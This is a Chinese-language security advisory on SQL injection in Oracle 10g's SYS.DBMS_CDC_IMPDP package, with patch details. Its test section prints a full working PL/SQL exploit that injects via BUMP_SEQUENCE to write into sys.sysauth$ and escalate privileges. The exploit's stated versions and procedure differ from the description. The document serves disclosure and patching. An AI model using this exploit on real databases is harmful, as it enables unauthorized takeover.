安全研究

安全漏洞
Oracle数据库SYS.DBMS_CDC_IMPDP软件包SQL注入漏洞

发布日期:2006-07-18
更新日期:2006-07-19

受影响系统:
Oracle Database 10g Release 1
描述:
Oracle是一款大型的商业数据库系统。

Oracle 10g的SYS.DBMS_CDC_IMPDP软件包在IMPORT_CHANGE_SET、IMPORT_CHANGE_TABLE、IMPORT_CHANGE_COLUMN、IMPORT_SUBSCRIBER、IMPORT_SUBSCRIBED_TABLE、IMPORT_SUBSCRIBED_COLUMN、VALIDATE_IMPORT、VALIDATE_CHANGE_SET、VALIDATE_CHANGE_TABLE、VALIDATE_SUBSCRIPTION过程中存在SQL注入漏洞,成功利用这个漏洞的攻击者可以完全控制数据库系统。

如果要利用这个漏洞,攻击者必须能够创建PL/SQL函数。

<*来源:Alexander Kornbrust (ak@red-database-security.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=115326128200969&w=2
        http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2006.html?_template=/o
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/**
* Exploit for Oracle10g R1 and R2 prior to CPU Oct 2006
* Joxean Koret <joxeankoret@yahoo.es>
* Privileges needed:
*
* - CREATE SESSION
*
* Max. Length 97. Very, very cool
*
*/
select *
from user_role_privs
;

DECLARE
SEQUENCE_OWNER VARCHAR2(200);
SEQUENCE_NAME VARCHAR2(200);
v_user_id number;
v_commands VARCHAR2(32767);
NEW_VALUE NUMBER;
BEGIN
SELECT user_id INTO v_user_id
FROM user_users;

v_commands := 'insert into sys.sysauth$ ' ||
' values' ||
'(' || v_user_id || ',4,' ||
'999,null)';

SEQUENCE_OWNER := 'TEST';
SEQUENCE_NAME := ''',lockhandle=>:1);' || v_commands || ';commit;
end;--';
NEW_VALUE := 1;
SYS.DBMS_CDC_IMPDP.BUMP_SEQUENCE(
SEQUENCE_OWNER => SEQUENCE_OWNER,
SEQUENCE_NAME => SEQUENCE_NAME,
NEW_VALUE => NEW_VALUE
);
END;
/

select *
from user_role_privs
;

建议:
厂商补丁:

Oracle
------
Oracle已经为此发布了一个安全公告(cpujul2006)以及相应补丁:
cpujul2006:Oracle Critical Patch Update - July 2006
链接:http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2006.html?_template=/o

浏览次数:4394
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障